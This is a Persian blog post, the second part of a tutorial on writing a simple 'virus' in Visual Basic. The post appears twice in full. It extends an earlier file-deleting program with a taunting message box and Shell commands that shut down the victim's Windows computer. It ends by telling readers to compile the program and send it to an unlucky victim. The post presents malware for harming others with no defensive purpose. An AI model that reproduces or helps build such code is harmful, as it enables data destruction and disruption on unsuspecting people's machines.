آموزش ويروس نويسي 2
سلام
این هم قسمت دوم آموزش نوشتن ویروسهای ساده با Vb.
می خوایم ویروس قبلی رو یه کمی تکمیل ترش کنیم .
شروع می کنیم :
خوب ویروس قبلی رو دوباره درست کنین .
حالا اول ببینیم ما می خوایم چی کار کنیم :
می خوایم به ویروسمون این قابلیت رو بدیم که بعد از دیلیت کردن فایلها پیغامی نشون بده که به طرف بگه "داداش ویروسی شدی"
بعد هم کامپیوتر رو خاموش کنه .
اگه گفتین کدهای مربوط به کارهایی رو که الان می خوایم بکنیم کجا باید بنویسیم ؟
خوب جواب اینه قبل از دستور End. چرا ؟ چون گفتیم که بعد از دیلیت کردن فایلها باید اینکار باشه پس
یا باید قبل از دستور End کدها رو بنویسیم یه بعد از این دستور . خوب شما می دونید که دستور End از برنامه خارج
می شه یعنی برنامه رو می بنده . پس اگر بعد از دستور End این کدها رو بنویسیم این کدها اجرا نمی شن .در نتیجه کدها
رو باید قبل از دستور End بنویسیم .
خوب حالا قبل ار دستور End این رو بنویسید
Msgbox "Dadash Virusy Shody "
معنیش اینه که یه پنجره مثل پنجره های که یک چیزی رو به کاربر در هنگام بروز خطا یا ... می گن نشون می ده که
توش نوشته Dadash Virusy Shody
به طور کلی هر وقت بخوایم یکی از همین پنجره ها درست کنیم اول می نویسیم : Msgbox بعد یک فاصله می زاریم بعد یک دونه : " می زاریم بعد متنی رو که می خوایم به کاربر بگیم می نویسیم بعد هم
یک دونه دیگه : " می زاریم
حالا نوبت رسیده به خاموش کردن ( شات داون کردن ) کامپیوتر طرف
این خط کد رو اضافه کنید :
Shell "Shutdown -s "
این خط ویندوز های Nt ,2000 ,xp ,2003 رو شات داون می کنه .
حالا این خط رو هم وارد کنین
Shell "rundll.exe user.exe,exitwindows"
این خط ویندوزهای 9x رو شات داون می کنه .
خوب دیگه ویروس رو کامپایل کنید به یه بدبختی بفرستین که تا عمر تا نفرینتون کنه .
این هم قسمت دوم آموزش نوشتن ویروسهای ساده با Vb.
می خوایم ویروس قبلی رو یه کمی تکمیل ترش کنیم .
شروع می کنیم :
خوب ویروس قبلی رو دوباره درست کنین .
حالا اول ببینیم ما می خوایم چی کار کنیم :
می خوایم به ویروسمون این قابلیت رو بدیم که بعد از دیلیت کردن فایلها پیغامی نشون بده که به طرف بگه "داداش ویروسی شدی"
بعد هم کامپیوتر رو خاموش کنه .
اگه گفتین کدهای مربوط به کارهایی رو که الان می خوایم بکنیم کجا باید بنویسیم ؟
خوب جواب اینه قبل از دستور End. چرا ؟ چون گفتیم که بعد از دیلیت کردن فایلها باید اینکار باشه پس
یا باید قبل از دستور End کدها رو بنویسیم یه بعد از این دستور . خوب شما می دونید که دستور End از برنامه خارج
می شه یعنی برنامه رو می بنده . پس اگر بعد از دستور End این کدها رو بنویسیم این کدها اجرا نمی شن .در نتیجه کدها
رو باید قبل از دستور End بنویسیم .
خوب حالا قبل ار دستور End این رو بنویسید
Msgbox "Dadash Virusy Shody "
معنیش اینه که یه پنجره مثل پنجره های که یک چیزی رو به کاربر در هنگام بروز خطا یا ... می گن نشون می ده که
توش نوشته Dadash Virusy Shody
به طور کلی هر وقت بخوایم یکی از همین پنجره ها درست کنیم اول می نویسیم : Msgbox بعد یک فاصله می زاریم بعد یک دونه : " می زاریم بعد متنی رو که می خوایم به کاربر بگیم می نویسیم بعد هم
یک دونه دیگه : " می زاریم
حالا نوبت رسیده به خاموش کردن ( شات داون کردن ) کامپیوتر طرف
این خط کد رو اضافه کنید :
Shell "Shutdown -s "
این خط ویندوز های Nt ,2000 ,xp ,2003 رو شات داون می کنه .
حالا این خط رو هم وارد کنین
Shell "rundll.exe user.exe,exitwindows"
این خط ویندوزهای 9x رو شات داون می کنه .
خوب دیگه ویروس رو کامپایل کنید به یه بدبختی بفرستین که تا عمر تا نفرینتون کنه .
+ نوشته شده در چهارشنبه پنجم بهمن 1384ساعت 7:18 بعد از ظهر  توسط مهندس کور رحمان
|
